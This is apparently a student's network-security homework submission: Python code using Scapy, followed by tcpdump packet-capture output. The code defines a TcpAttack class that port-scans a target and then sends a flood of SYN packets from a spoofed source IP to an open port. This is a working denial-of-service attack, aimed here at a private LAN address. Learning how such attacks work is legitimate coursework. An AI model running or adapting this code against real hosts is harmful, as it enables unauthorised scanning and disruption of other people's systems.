```
# Homework Number: hw8
# Name: Jiaxing Yang
# ECN Login: yang1274
# Due Date: 3/26/2020




import sys, socket
from scapy.all import *



#This is from the lecture downloaded code

"""
for i in range(count):                                                  #(5)
    IP_header = IP(src = srcIP, dst = destIP)                           #(6)
    TCP_header = TCP(flags = "S", sport = RandShort(), dport = destPort)    #(7)
    packet = IP_header / TCP_header                                     #(8)
    try:                                                                #(9)
       send(packet)                                                     #(10)
    except Exception as e:                                              #(11)
       print e                                                      #(11)


"""
"""
open_ports = []                                                         #(5)
# Scan the ports in the specified range:
for testport in range(start_port, end_port+1):                          #(6)
    sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )          #(7)
    sock.settimeout(0.1)                                                #(8)
    try:                                                                #(9)
        sock.connect( (dst_host, testport) )                            #(10)
        open_ports.append(testport)                                     #(11)
        if verbosity: print testport                                    #(12)
        sys.stdout.write("%s" % testport)                               #(13)
        sys.stdout.flush()                                              #(14)
    except:                                                             #(15)
        if verbosity: print "Port closed: ", testport                   #(16)
        sys.stdout.write(".")                                           #(17)
        sys.stdout.flush()                                              #(18)




"""
#rangeStart:
class TcpAttack:
    #spoofIP: String containing the IP address to spoof
    #targetIP: String containing the IP address of the target computer to attack
    def __init__(self,spoofIP,targetIP):
        self.srcIP = spoofIP
        self.destIP = targetIP
```

```
        #init the open_ports here
        self.open_ports = []

    # rangeStart: Integer designating the first port in the range of ports being
scanned.
    # rangeEnd: Integer designating the last port in the range of ports being scanned
    # No return value, but writes open ports to openports.txt

    #port scan
    def scanTarget(self, rangeStart, rangeEnd):
        file_out = open("openports.txt", "w")
        for port in range(rangeStart, rangeEnd+1):

            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(0.1)
            try:  # (9)
                sock.connect((self.destIP, port))  # (10)
                self.open_ports.append(port)  # (11)
            except:  # (15)
                pass


        for port in self.open_ports:
            file_out.write(str(port) + "\n")

        file_out.close()

    # port: Integer designating the port that the attack will use
    # numSyn: Integer of SYN packets to send to target IP address at the given port
    # If the port is open, perform DoS attack and return 1. Otherwise return 0.
    def attackTarget(self, port, numSyn):
        if port not in self.open_ports:
            return 0

        for num in range(numSyn):
            #this is from lecture
            IP_header = IP(src=self.srcIP, dst=self.destIP)  # (6)
            TCP_header = TCP(flags="S", sport=RandShort(), dport=port)  # (7)
            packet = IP_header / TCP_header  # (8)
            try:
                send(packet)
            except Exception as e:
                print(e)

        return 1



if __name__ == '__main__':

    spoofIP = "113.113.113.113"

    targetIP = "192.168.0.28"
```

```
    Tcp = TcpAttack(spoofIP, targetIP)
    Tcp.scanTarget(0, 255)
    if(Tcp.attackTarget(135, 10)):
        print('port was open to attack')
```

The output:

11:53:36.339332 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 64, bad cksum 0 (->68b1)!)

172.16.60.243.52666 > 172.16.60.243.1199: Flags [S], cksum 0xd119 (incorrect -> 0xcdd5), seq 2258254457, win 65535, options [mss 16344,nop,wscale 6,nop,nop,TS val 691575701 ecr 0,sackOK,eol], length 0

0x0000: 0200 0000 4500 0040 0000 4000 4006 0000 ....E..@..@.@...

0x0010: ac10 3cf3 ac10 3cf3 cdba 095f 869a 3a79 ..<...<...._..:y

0x0020: 0000 0000 b002 ffff d119 0000 0204 3fd8 ....9....?.

0x0030: 0103 0306 0101 080a 2938 9b95 0000 0000 ....)8......

0x0040: 0402 0000 ....

11:53:36.339337 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40, bad cksum 0 (->68c9)!)

172.16.60.243.1199 > 172.16.60.243.52666: Flags [R.], cksum 0xd221 (incorrect -> 0x459b), seq 0, ack 2258254458, win 0, length 0

0x0000: 0200 0000 4500 0028 0000 4000 4006 0000 ....E..(..@.@...

0x0010: ac10 3cf3 ac10 3cf3 095f cdba 0000 0000 ..<...<.._......

0x0020: 869a 3a7a 5014 0000 d221 0000 ..:zP....!..

11:53:36.339338 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40, bad cksum 0 (->68c9)!)

172.16.60.243.1199 > 172.16.60.243.52666: Flags [R.], cksum 0xd221 (incorrect -> 0x459b), seq 0, ack 2258254458, win 0, length 0

0x0000: 0200 0000 4500 0028 0000 4000 4006 0000 ....E..(..@.@...

0x0010: ac10 3cf3 ac10 3cf3 095f cdba 0000 0000 ..<...<.._......

0x0020: 869a 3a7a 5014 0000 d221 0000 ..:zP....!..

11:53:36.339439 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 64, bad cksum 0 (->68b1)!)

172.16.60.243.52667 > 172.16.60.243.2400: Flags [S], cksum 0xd119 (incorrect -> 0xe104), seq 1044475809, win 65535, options [mss 16344,nop,wscale 6,nop,nop,TS val 691575701 ecr 0,sackOK,eol], length 0

0x0000: 0200 0000 4500 0040 0000 4000 4006 0000 ....E..@..@.@...

0x0010: ac10 3cf3 ac10 3cf3 cdbb 0960 3e41 6fa1 ..<...<....`>Ao.

0x0020: 0000 0000 b002 ffff d119 0000 0204 3fd8 ....9....?.

0x0030: 0103 0306 0101 080a 2938 9b95 0000 0000 ....)8......

0x0040: 0402 0000 ....

11:53:36.339446 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 64, bad cksum 0 (->68b1)!)

172.16.60.243.52667 > 172.16.60.243.2400: Flags [S], cksum 0xd119 (incorrect -> 0xe104), seq 1044475809, win 65535, options [mss 16344,nop,wscale 6,nop,nop,TS val 691575701 ecr 0,sackOK,eol], length 0

0x0000: 0200 0000 4500 0040 0000 4000 4006 0000 ....E..@..@.@...

0x0010: ac10 3cf3 ac10 3cf3 cdbb 0960 3e41 6fa1 ..<...<....`>Ao.

0x0020: 0000 0000 b002 ffff d119 0000 0204 3fd8 ....9....?.

0x0030: 0103 0306 0101 080a 2938 9b95 0000 0000 ....)8......

0x0040: 0402 0000

Where the flag of each indicates the 3-wake hand shake status, and it performs the complete 3 way handshake in each packet I sent. Where flags = [S] is the packets I sent.